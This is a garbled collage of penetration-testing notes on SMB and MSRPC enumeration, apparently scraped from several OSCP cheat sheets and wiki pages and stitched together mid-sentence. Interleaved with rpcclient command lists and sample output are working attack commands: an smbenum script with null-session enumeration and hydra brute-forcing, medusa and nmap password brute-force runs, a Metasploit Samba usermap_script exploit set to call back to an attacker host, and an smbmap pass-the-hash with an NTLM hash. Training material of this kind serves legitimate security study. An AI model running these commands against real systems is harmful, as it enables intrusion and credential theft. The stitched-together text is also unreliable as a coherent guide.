At last, it can be verified using the enumdomusers command. -P, --machine-pass Use stored machine account password lookupnames Convert names to SIDs To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. querydominfo Query domain info -I, --dest-ip=IP Specify destination IP address, Help options | IDs: CVE:CVE-2006-2370 A collection of commands and tools used for conducting enumeration during my OSCP journey. Query Group Information and Group Membership. rpcclient $> enumprivs S-1-5-21-1835020781-2383529660-3657267081-500 LEWISFAMILY\Administrator (1) You signed in with another tab or window. | Type: STYPE_IPC_HIDDEN getdcname Get trusted DC name | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) Another command to use is the enumdomusers. The command netsharegetinfo followed by the name of the share you are trying to enumerate will extract details about that particular share. The SID was retrieved using the lookupnames command. | Comment: Remote Admin This command can help with the enumeration of the LSA Policy for that particular domain. without the likes of: which most likely are monitored by the blue team. S-1-5-21-1835020781-2383529660-3657267081-501 LEWISFAMILY\unknown (1) In the demonstration below, the attacker chooses S-1-1-0 SID to enumerate. Start by typing "enum" at the prompt and hitting <tab><tab>: rpcclient $> enum enumalsgroups enumdomains enumdrivers enumkey enumprivs enumdata enumdomgroups enumforms enumports enumtrust enumdataex enumdomusers enumjobs enumprinter. Enumerating User Accounts on Linux and Os X With Rpcclient Try "help" to get a list of possible commands. --------- ------- rpcclient $> netshareenum maybe brute-force ; 22/SSH. rewardone in the PWK forums posted a neat script to easily get Samba versions: When you run this on a box running Samba, you get results: When in doubt, we can check the smb version in PCAP. | State: VULNERABLE A Mind Map about OSCP Guide submitted by Rikunj Sindhwad on Jun 12, 2021. | Comment: to access through Web; FTP to file upload ==> Execute from web == webshell ; Password Checking if you found with other enum. object in the NAME_DOMAIN.LOCAL domain and you will never see this paired value tied to another object in this domain or any other. S-1-5-21-1835020781-2383529660-3657267081-1000 LEWISFAMILY\root (1) C$ Disk Default share If the permissions allow, an attacker can delete a group as well. setdriver Set printer driver -O, --socket-options=SOCKETOPTIONS socket options to use Enter WORKGROUP\root's password: deldriverex Delete a printer driver with files Manh-Dung Nguyen - OSCP Enumeration - GitHub Pages --------------- ---------------------- SMB enumeration : oscp - Reddit The alias is an alternate name that can be used to reference an object or element. lsaenumprivsaccount Enumerate the privileges of an SID Cracking Password. A tag already exists with the provided branch name. Thus it might be worth a short to try to manually connect to a share. Microsoft Remote Procedure Call, also known as a function call or a subroutine call, is a protocol that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network. The next command that can help with the enumeration is lsaquery. It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. In this lab, it is assumed that the attacker/operator has gained: code execution on a target system and the beacon is calling back to the team server, to be interrogated by 10.0.0.5 via 10.0.0.2. srvinfo Server query info rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself. # lines. May need to run a second time for success. The group information helps the attacker to plan their way to the Administrator or elevated access. This is an enumeration cheat sheet that I created while pursuing the OSCP. ** (extracted from, 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP), and entire directories and other network resources such as printers, routers, or interfaces released for the network. What permissions must be assigned to the newly created files? Password attack (Brute-force) Brute-force service password. This information can be elaborated on using the querydispinfo. This detail includes the path of the share, remarks, it will indicate if the share has a password for access, it will tell the number of users accessing the share and what kind of access is allowed on the share. After that command was run, rpcclient will give you the most excellent "rpcclient> " prompt. | servers (ms17-010). The child-parent relationship here can also be depicted as client and server relation. change_trust_pw Change Trust Account Password Flashcards. Hence, they usually set up a Network Share. WORKGROUP <00> - M *[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &, echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null, # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv, msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run, msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run, Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016, nmap -p 445 $ip --script=smb-vuln-ms17-010, hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb, smbclient \\\\192.168.1.105\\ipc$ -U john. great when smbclient doesnt work, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -x whoami # no work, smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. -k, --kerberos Use kerberos (active directory) The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon, # You can also use samrdump.py for this purpose, Enumerate trusted domains within an AD forest. -W, --workgroup=WORKGROUP Set the workgroup name 135, 593 - Pentesting MSRPC - HackTricks A null session is a connection with a samba or SMB server that does not require authentication with a password. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2000 getdata Get print driver data Running something like ngrep -i -d tap0 's.?a.?m.?b.?a. 631 - Internet Printing Protocol (IPP) 873 - Pentesting Rsync. dfsexist Query DFS support rpcclient is a part of the Samba suite on Linux distributions. The name is derived from the enumeration of domain groups. |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ yet another reason to adjust your file & printer sharing configurations when you take your computer on the road (especially if you share your My Documents folder), Yeah so i was bored on the hotel wirelesserrr laband started seeing who had ports 135, 139, 445 open. . OSCP notes: ACTIVE INFORMATION GATHERING Flashcards | Quizlet An attacker can create an account object based on the SID of that user. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2003 Some of these commands are based on those executed by the Autorecon tool. SegFault:~ cg$rpcclient -U "" 192.168.182.36 setprinter Set printer comment | Anonymous access: After establishing the connection, to get the grasp of various commands that can be used you can run the help. dfsadd Add a DFS share We can filter on ntlmssp.ntlmv2_response to see NTLMv2 traffic, for example. Two applications start a NetBIOS session when one (the client) sends a command to call another client (the server) over, 139/tcp open netbios-ssn Microsoft Windows netbios-ssn. SAMR To enumerate a particular user from rpcclient, the queryuser command must be used. Assumes valid machine account to this domain controller. [DATA] 1 tasks, 1 servers, 816 login tries (l:1/p:816), ~816 tries per task rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2004 SegFault:~/Documents/Evil cg$ hydra -l lewis -P common-passwords.txt 192.168.182.36 smb -V rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1015 Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. SMB Enumeration (Port 139, 445) - OSCP Notes - GitBook 1. # lines. If used the RID is the parameter, the samlookuprids command can extract the username relevant to that particular RID. It is possible to enumerate the minimum password length and the enforcement of complex password rules.
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